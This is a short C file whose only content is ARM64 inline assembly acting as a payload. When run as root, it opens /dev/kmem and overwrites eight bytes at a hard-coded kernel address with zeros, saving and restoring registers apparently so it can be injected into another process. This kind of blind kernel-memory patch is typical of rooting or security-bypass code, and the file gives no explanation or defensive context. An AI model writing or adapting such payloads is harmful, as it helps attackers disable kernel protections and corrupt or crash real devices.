#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>

int main()
{
	asm volatile (" sub sp, sp, #0x100 \n\
			stp x0, x1, [sp, #0] \n\
			stp x2, x3, [sp, #0x10] \n\
			stp x4, x8, [sp, #0x20] \n\
			str x22, [sp, #0x30] \n\
			mov w8, #174 // getuid \n\
			svc #0 \n\
			cbnz x0, 8f \n\
			\n\
			mov x0, #-100 \n\
			adr x1, 40f \n\
			mov x2, #2 // O_RDWR \n\
			mov x3, #0666 \n\
			mov w8, #56 // openat \n\
			svc #0 \n\
			mov x22, x0 \n\
			add x1, x0, #1 \n\
			cbz x1, 8f // open failed \n\
			\n\
			mov x0, x22 // fd \n\
			// ffffffc000af3340 \n\
			movz x1, #0xffff, lsl #48 \n\
			movk x1, #0xffc0, lsl #32 \n\
			movk x1, #0x00af, lsl #16 \n\
			movk x1, #0x3340, lsl #00 \n\
			mov x2, #0x0 // SEEK_SET \n\
			mov w8, #62 // lseek \n\
			svc #0 \n\
			add x0, x0, #1 \n\
			cbz x0, 8f // return -1? \n\
			5: \n\
			mov x0, x22 \n\
			add x1, sp, 0x50 \n\
			str xzr, [x1] \n\
			mov x2, #0x8 \n\
			mov w8, #64 // write \n\
			svc #0 \n\
			\n\
			mov x0, x22 \n\
			mov w8, #57 //close \n\
			svc #0\n\
			\n\
			8: \n\
			ldp x0, x1, [sp, #0] \n\
			ldp x2, x3, [sp, #0x10] \n\
			ldp x4, x8, [sp, #0x20] \n\
			ldr x22, [sp, #0x30] \n\
			add sp, sp, 0x100 \n\
			b 9f\n\
			\n\
			.align 3 \n\
			40: .string \"/dev/kmem\" \n\
			.align 2 \n\
			9: \n"::);

	return 0;
}
